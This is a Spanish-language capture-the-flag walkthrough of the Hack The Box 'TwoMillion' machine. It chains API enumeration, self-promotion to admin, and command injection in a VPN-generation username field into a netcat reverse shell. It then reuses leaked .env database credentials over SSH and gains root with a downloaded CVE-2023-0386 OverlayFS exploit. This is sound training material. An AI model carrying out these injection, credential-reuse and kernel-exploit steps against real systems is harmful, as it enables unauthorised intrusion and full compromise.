TwoMillion-Writeup

·

9 min read


TwoMillion.png


Skills

- Burpsuite

- API Enumeration

- Remote Command Execution - RCE

- Information leakage - User Pivoting

- The OverlayFS vulnerability - CVE-2023-0386

Reconocimiento

Empezamos creando los directorios para organizar los datos

$ mkdir TwoMillion-10.10.11.221
$ cd TwoMillion-10.10.11.221
$ mkdir nmap content exploit

Seguimos con el escaneo con nmap:

sudo nmap -p- -sS --min-rate 5000 -vvv -n -Pn 10.10.11.221 -oG allPorts

Yo lo exporto en formato grepeable por que tengo una función llamada extractPorts -> (link de la utilidad de extractPorts creada por s4vitar, instalar xclip)

$ extractPorts allPorts
[*] Extracting information...

    [*] IP Address: 10.10.11.221
    [*] Open ports: 22,80

[*] Ports copied to clipboard

Vamos a realizar un escaneo mas exhaustivo sobre estos puertos

$ nmap -sCV -p22,80 10.10.11.221 -oN targeted
Nmap scan report for 10.10.11.221
Host is up (0.23s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3eea454bc5d16d6fe2d4d13b0a3da94f (ECDSA)
|_  256 64cc75de4ae6a5b473eb3f1bcfb4e394 (ED25519)
80/tcp open  http    nginx
|_http-title: Did not follow redirect to http://2million.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Observamos un nombre de dominio 2million.htb vamos a agregarlo al /etc/hosts

$ echo "10.10.11.221 2million.htb" >> /etc/hosts
# Host addresses
127.0.0.1  localhost
127.0.1.1  parrot
::1        localhost ip6-localhost ip6-loopback
ff02::1    ip6-allnodes
ff02::2    ip6-allrouters
# Others
10.10.11.221 2million.htb

Vemos el puerto 80 vamos ver las tecnologías y gestores que utiliza con la herramienta whatweb

$ whatweb http://2million.htb
http://2million.htb [200 OK] Cookies[PHPSESSID], Country[RESERVED][ZZ], Email[info@hackthebox.eu], Frame, HTML5, HTTPServer[nginx], IP[10.10.11.221], Meta-Author[Hack The Box], Script, Title[Hack The Box :: Penetration Testing Labs], X-UA-Compatible[IE=edge], YouTube, nginx

No vemos nada interesante, vamos a ver como se ve la pagina web

web-2million.png

Vemos algo parecido a la pagina oficial de htb, vemos una sección de login vamos a echarle un vistazo

web-login.png

También tenemos un directorio llamado invite

invite-web.png

Mirando el código fuente de este ultimo, nos encontramos con un /js/inviteapi.min.js

invite-js.png

Que contiene lo siguiente

eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('1 i(4){h 8={"4":4};$.9({a:"7",5:"6",g:8,b:\'/d/e/n\',c:1(0){3.2(0)},f:1(0){3.2(0)}})}1 j(){$.9({a:"7",5:"6",b:\'/d/e/k/l/m\',c:1(0){3.2(0)},f:1(0){3.2(0)}})}',24,24,'response|function|log|console|code|dataType|json|POST|formData|ajax|type|url|success|api/v1|invite|error|data|var|verifyInviteCode|makeInviteCode|how|to|generate|verify'.split('|'),0,{}))

Vemos un makeInviteCode, podría ser una función propia de la web vamos a probarlo con la consola a ver que pasa

makefuncion.png

Y solo puse make y ya me auto-completa, parece que es una función. Vamos a ver que hace

js-data.png

Vemos data que esta encrytada con rot13, esto es muy simple de descifrar así que vamos a verlo en texto plano

root13.png

Vemos que podemos generar un invite si hacemos una petición por POST a /api/v1/invite/generate

$ curl -s -X POST http://2million.htb/api/v1/invite/generate | jq
{
  "0": 200,
  "success": 1,
  "data": {
    "code": "UEJKWk4tVlFSVFAtS1dXSEwtOU1NTEE=",
    "format": "encoded"
  }
}

Vemos una cadena que parece base64 vamos hacerle un decode

$ echo -n "UEJKWk4tVlFSVFAtS1dXSEwtOU1NTEE=" | base64 -d ;echo
PBJZN-VQRTP-KWWHL-9MMLA

Y vemos un código que parece de invitación, en el /js/inviteapi.min.js vimos un verifyInviteCode vamos a pesarle este código para ver si nos habilita utilizarlo

verified-code.png

Y parece que me verifico el código, vamos a intentar usarlo

registration.png

Y vemos que nos deja crear un usuario, vamos hacerlo y luego nos intentamos logear

home.png

Y nos logramos conectar. Una de las secciones donde podemos acceder es access vamos a revisarlo

acess-ovpn.png

Vemos para descargar un .ovpn como en htb, cuando nos conectamos para practicar con las maquinas. Vamos a interceptar esa petición con burpsuite para ver como se esta tramitando las dos peticiones la Connection Pack y la Regenerate

generate.png

regenerate

Vemos que el Connection Pack hace una petición a /api/v1/user/vpn/generate y el Regenerate /api/v1/user/vpn/regenerate. Vamos a realizar una petición a /api para ver que nos muestra

api.png

Vemos que nos muestra la versión del a api, v1 vamos a realizar una petición sobre esta para ver que nos reporta

api-v1

Y nos reporta la siguiente información sobre la api

{
  "v1": { 
    "user": {
      "GET": {
        "/api/v1": "Route List",  
        "/api/v1/invite/how/to/generate": "Instructions on invite code generation", 
        "/api/v1/invite/generate": "Generate invite code",
        "/api/v1/invite/verify": "Verify invite code",
        "/api/v1/user/auth": "Check if user is authenticated",
        "/api/v1/user/vpn/generate": "Generate a new VPN configuration",
        "/api/v1/user/vpn/regenerate": "Regenerate VPN configuration",
        "/api/v1/user/vpn/download": "Download OVPN file"
      },
      "POST": {
        "/api/v1/user/register": "Register a new user",
        "/api/v1/user/login": "Login with existing user"
      }
    },
    "admin": {
      "GET": {
        "/api/v1/admin/auth": "Check if user is admin"
      },
      "POST": {
        "/api/v1/admin/vpn/generate": "Generate VPN for specific user"
      },
      "PUT": {
        "/api/v1/admin/settings/update": "Update user settings"
      }
    }
  }
}

Probando todas las direcciones posibles, al enviar una petición por PUT a /api/v1/admin/settings/update nos muestra lo siguiente

setting-api.png

nos sale Invalid content type como parece que todo esta estructurado por json, vamos a añadir la cabecera Content-Type a json para ver si nos representa algo diferente

content-type-json.png

Vemos que nos pone Missing parameter: email vamos a poner nuestro email

email-parameter.png

Ahora nos pide un parametro is_admin vamos a ponerle cualquier valor para que nos reporta

is-admin.png

Vemos que is_admin solo puede valer 0 o 1, quiero pensar que 0 es para negativo y 1 para afirmar que es admin. Por tanto voy a ponerle 1

email-not-found.png

Y me pone email not found, error mio que me falto el @ y puse un "." en su lugar

correccion-de-correo.png

Y parece que funciona, vamos a realizar una petición a /api/v1/admin/auth para verificar si somos admin

admin-true

Y nos pone true por tanto quiero pensar que somos admin. Vamos a realizar una petición a /api/v1/admin/vpn/generate para ver que nos reporta ahora que somos admin

admin-vpn.png

Nos vuelve a salir el mismo error del Invalid content type, vamos agregarlo

username-parameter.png

Nos pide el un parámetro username, vamos a agregarlo

generating-vpn.png

En este punto, si vamos probando cosas. Nos encontramos que el campo vulnerable es el de username al parecer no hay ninguna sanitización y simplemente podemos hacer un ";" seguido del comando que queremos ejecutar a nivel de sistema. Hay que agregar un "#" para comentar lo que sigue luego de nuestro input

rce.png

Ahora simplemente nos toca realizar una revershell para ganar acceso a la maquina victima, me pongo en escucha con nc por el puerto 443

$ nc -nlvp 443
listening on [any] 443 ...

revershell.png

connect to [10.10.14.168] from (UNKNOWN) [10.10.11.221] 33186
bash: cannot set terminal process group (1156): Inappropriate ioctl for device
bash: no job control in this shell
www-data@2million:~/html$

Y ganamos acceso al sistema, vamos a realizar un tratamiento a la tty para trabajar mas comodos

$ script /dev/null -c bash
Script started, file is /dev/null
$ ^Z #Ctrl + Z
[1]+  Stopped                 nc -nlvp 443
$ stty raw -echo;fg
              reset xterm
$ export TERM=xterm
$ export SHELL=bash

Esto lo hacemos para poder realizar ctrl+c o ctrl+l sin ningún problema. Vamos a enumerar un poco el sistema


User Pivoting

www-data@2million:~/html$ ls -la
total 56
drwxr-xr-x 10 root root 4096 Jul  9 00:10 .
drwxr-xr-x  3 root root 4096 Jun  6 10:22 ..
-rw-r--r--  1 root root   87 Jun  2 18:56 .env
-rw-r--r--  1 root root 1237 Jun  2 16:15 Database.php
-rw-r--r--  1 root root 2787 Jun  2 16:15 Router.php
drwxr-xr-x  5 root root 4096 Jul  9 00:10 VPN
drwxr-xr-x  2 root root 4096 Jun  6 10:22 assets
drwxr-xr-x  2 root root 4096 Jun  6 10:22 controllers
drwxr-xr-x  5 root root 4096 Jun  6 10:22 css
drwxr-xr-x  2 root root 4096 Jun  6 10:22 fonts
drwxr-xr-x  2 root root 4096 Jun  6 10:22 images
-rw-r--r--  1 root root 2692 Jun  2 18:57 index.php
drwxr-xr-x  3 root root 4096 Jun  6 10:22 js
drwxr-xr-x  2 root root 4096 Jun  6 10:22 views

Vemos un .env en este archivo suele tener contraseñas. Vamos a revisarlo

www-data@2million:~/html$ cat .env
DB_HOST=127.0.0.1
DB_DATABASE=htb_prod
DB_USERNAME=admin
DB_PASSWORD=SuperDuperPass123

Vemos un usuario admin y una contraseña vamos a intentar conectarnos por ssh(puerto 22)

$ shh admin@10.10.11.221
admin@10.10.11.221's password: #SuperDuperPass123
admin@2million:~$

Y ganamos acceso como el user admin


Escalada de privilegio

Seguimos con la enumeración de la maquina, si buscamos por archivos que sean del propietario admin nos encontramos lo sigueinte(elimino ciertas rutas que no hay nada relevante)

mail-admin.png

Vemos un /var/mail/admin vamos a hecharle un vistazo

admin@2million:/$ cat /var/mail/admin
From: ch4p <ch4p@2million.htb>
To: admin <admin@2million.htb>
Cc: g0blin <g0blin@2million.htb>
Subject: Urgent: Patch System OS
Date: Tue, 1 June 2023 10:45:22 -0700
Message-ID: <9876543210@2million.htb>
X-Mailer: ThunderMail Pro 5.2

Hey admin,

I'm know you're working as fast as you can to do the DB migration. While we're partially down, can you also upgrade the OS on our web host? There have been a few serious Linux kernel CVEs already this year. That one in OverlayFS / FUSE looks nasty. We can't get popped by that.

HTB Godfather

Vemos que se habla hacerca de un CVE OverlaysFs que tiene que ver con el kernel. Investigando nos encontramos con CVE-2023-0386. Yo enconcreto voy a usar el siguiente -> CVE-2023-0386

Nos descargamos el zip del repositorio y lo descomprimimos

$ 7z x CVE-2023-0386-main.zip
$ ls
CVE-2023-0386-main  CVE-2023-0386-main.zip
$ cd CVE-2023-0386-main
$ ls
exp.c  fuse.c  getshell.c  Makefile  ovlcap  README.md  test

Para compilarlo hacemos un make all

$ make all
gcc fuse.c -o fuse -D_FILE_OFFSET_BITS=64 -static -pthread -lfuse -ldl
fuse.c: In function ‘main’:
fuse.c:214:12: warning: implicit declaration of function ‘read’; did you mean ‘fread’? [-Wimplicit-function-declaration]
  214 |     while (read(fd, content + clen, 1) > 0)
      |            ^~~~
      |            fread
fuse.c:216:5: warning: implicit declaration of function ‘close’; did you mean ‘pclose’? [-Wimplicit-function-declaration]
  216 |     close(fd);
      |     ^~~~~
      |     pclose
fuse.c:221:5: warning: implicit declaration of function ‘rmdir’ [-Wimplicit-function-declaration]
  221 |     rmdir(mount_path);
      |     ^~~~~
/usr/bin/ld: /usr/lib/gcc/x86_64-linux-gnu/10/../../../x86_64-linux-gnu/libfuse.a(fuse.o): in function `fuse_new_common':
(.text+0xadbe): warning: Using 'dlopen' in statically linked applications requires at runtime the shared libraries from the glibc version used for linking
gcc -o exp exp.c -lcap
gcc -o gc getshell.c
$ ls
exp  exp.c  fuse  fuse.c  gc  getshell.c  Makefile  ovlcap  README.md  test

Y vemos que nos crea 3 binarios, vamos a pasalos a la maquina victima

$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
admin@2million:/$ mkdir /tmp/escalada
admin@2million:/$ cd /tmp/escalada
admin@2million:/tmp/escalada$ wget -r http://10.10.14.168/
admin@2million:/tmp/escalada$ cd 10.10.14.168/
admin@2million:/tmp/escalada$ ls
Makefile  README.md  exp  exp.c  fuse  fuse.c  gc  getshell.c  ovlcap  test
admin@2million:/tmp/escalada$ chmod +x fuse
admin@2million:/tmp/escalada$ chmod +x exp
admin@2million:/tmp/escalada$ chmod +x gc

Para esto necesitamos 2 consolas interactivas por tanto en una ejecutamos lo siguiente

admin@2million:/tmp/escalada/10.10.14.168$ ./fuse ./ovlcap/lower ./gc
[+] len of gc: 0x4f10

La consola se queda ocupada, nos conectamos otravez por ssh y ejecutamos lo siguente

$ shh admin@10.10.11.221
admin@10.10.11.221's password: #SuperDuperPass123
admin@2million:~$  cd /tmp/escalada/10.10.14.168
admin@2million:/tmp/escalada/10.10.14.168$ ./exp
uid:1000 gid:1000
[+] mount success
total 8
drwxrwxr-x 1 root   root     4096 Jul  9 01:12 .
drwxrwxr-x 6 root   root     4096 Jul  9 01:12 ..
-rwsrwxrwx 1 nobody nogroup 20240 Jan  1  1970 file
[+] exploit success!
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
root@2million:/tmp/escalada/10.10.14.168# whoami
root

Y conseguimos escalar privilegios como root


Conclusión

Maquina bastante wapa de hackthebox para ser easy en mi opinion. Muy chula donde tocamos mucho burpsuite. Espero que les sirva para aprender nuevas cosas y ya sabe, cualquier duda o consulta pueden escribir en los comentarios o contactarme directamente y no tengo problema en hecharles un cable